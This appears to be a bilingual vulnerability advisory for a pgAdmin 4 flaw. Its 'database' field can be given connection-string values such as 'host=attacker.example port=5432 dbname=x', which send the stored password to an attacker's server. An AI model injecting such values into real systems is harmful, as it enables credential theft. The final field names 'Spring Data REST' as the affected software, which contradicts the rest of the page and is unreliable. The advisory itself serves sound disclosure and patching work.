🔍 CVE-2026-86862

6.5
CVSS Score
MEDIUM
2026-09-17
2026-09-21 17:27
✅ 완료

🇰🇷 한글 설명

pgAdmin 4의 복구 및 유지 관리 도구가 사용자로부터 입력받은 'database' 필드를 pg_restore 및 psql의 --dbname 옵션에 직접 전달하면서 발생하는 취약점입니다. 공격자가 데이터베이스 이름에 연결 문자열 형식을 포함시켜 서버 주소를 조작하면, pgAdmin이 환경 변수로 노출하는 복호화된 비밀번호가 공격자의 서버로 전송될 수 있습니다.

💡 쉬운 설명

데이터베이스 이름을 입력하는 칸에 특수 문자를 넣어 가짜 서버 주소를 입력하면, 프로그램이 원래 서버가 아닌 해커의 서버로 접속을 시도하게 됩니다. 이 과정에서 사용자의 데이터베이스 비밀번호가 해커에게 그대로 유출될 수 있습니다.

🇺🇸 원문 (English)

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

📍 영향받는 시스템

pgAdmin 4: --dbname 인자 도입 시점부터 9.18 미만 버전

⚔️ 공격 벡터

인증된 사용자가 Restore/Maintenance 도구의 'database' 필드에 'host=attacker.com'과 같은 연결 문자열을 입력하여 자격 증명 탈취

🛡️ 대응 방법

pgAdmin 4를 최신 버전으로 업데이트하여 데이터베이스 이름이 환경 변수(PGDATABASE)를 통해 안전하게 전달되도록 조치

🔧 검증 코드

출력된 버전이 9.18 이상인지 확인하여 취약점 여부를 판단합니다.

Shell / Script
python3 -c "import pgadmin; print(pgadmin.__version__)" 2>/dev/null || echo 'Check pgAdmin version via UI or installer'

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

💻 영향받는 소프트웨어

Spring Data REST